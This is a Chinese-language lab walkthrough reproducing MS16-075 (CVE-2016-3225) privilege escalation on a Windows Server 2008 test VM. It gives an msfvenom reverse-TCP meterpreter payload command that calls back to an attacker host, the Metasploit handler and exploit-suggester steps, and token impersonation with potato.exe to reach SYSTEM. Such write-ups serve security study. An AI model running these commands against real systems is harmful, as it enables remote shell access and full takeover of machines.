前言:
ms16-075漏洞介绍:
Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正Windows服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038,有关该漏洞的详细介绍请参阅其网页:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075。
漏洞复现:
本地测试环境:
Windows server2008虚拟机
ip地址: 192.168.107.133
假设此时我们已经拿到了当前server2008的webshell权限,通过webshell上传msf生成的木马进行反弹shell。
msf生成木马的命令如下:
msfvenom -p windows/meterpreter_reverse_tcp lhost=攻击机ip地址 lport=监听端口 -f exe > shell.exe
将生成的shell.exe木马通过webshell上传到目标机器中。
在msf中启动监听,命令如下:
use exploit/multi/handler:加载对应的exp模块
set payload windows/meterpreter_reverse_tcp:设置对应的payload
options:查看当前payload需要的参数
set lhost 攻击机ip地址(和生成木马时同步)
set lport 监听端口(和生成木马时同步)
run -j:执行监听
在webshell中将生成的木马上传到目标机中,随后通过cmd执行,不久就可以在msf中看到返回一个session。
sessions 8:进入到session 8的meterpreter中
getuid:查看当前权限
getpid:查看当前进程的pid
getsystem:使用msf中自带的exp进行权限的提升(基本失败)
通过msf中自带的插件来识别当前系统中可以利用的EXP来进行提权。
use multi/recon/local_exploit_suggester
set session 8:加载session 8对应的目标机器
run:执行查看适合提权的EXP
可以看到当前被攻击机器中可利用的exp有如上图显示的这么多,这里就拿ms16-075
来进行测试,通过利用发现msf中自带的ms16-075
的exp利用无法返回session。
故通过GitHub下载ms16-075的exp
。
下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
下载好了以后,可以通过meterpreter
来进行上传,也可以通过webshell将exp上传到目标机器中。
这里通过meterpreter
中的upload来上传:
upload /root/potato.exe c:/ 上传potato.exe到目标机器中的C:/目录下
然后执行如下命令:
use incognito:加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u:列出目标主机用户的可用令牌
execute -cH -f c:/potato.exe :创建新的进程
list_tokens -u :列出目标主机用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM" :假冒目标主机上的可用令牌
提示successfully表示提权成功,此时执行命令:
getuid:查看当前权限
成功提升到system权限。
在meterpreter下执行:
shell:进入到系统终端cmd中
chcp 65001 :设置编码格式为utf-8
whoami :查看当前权限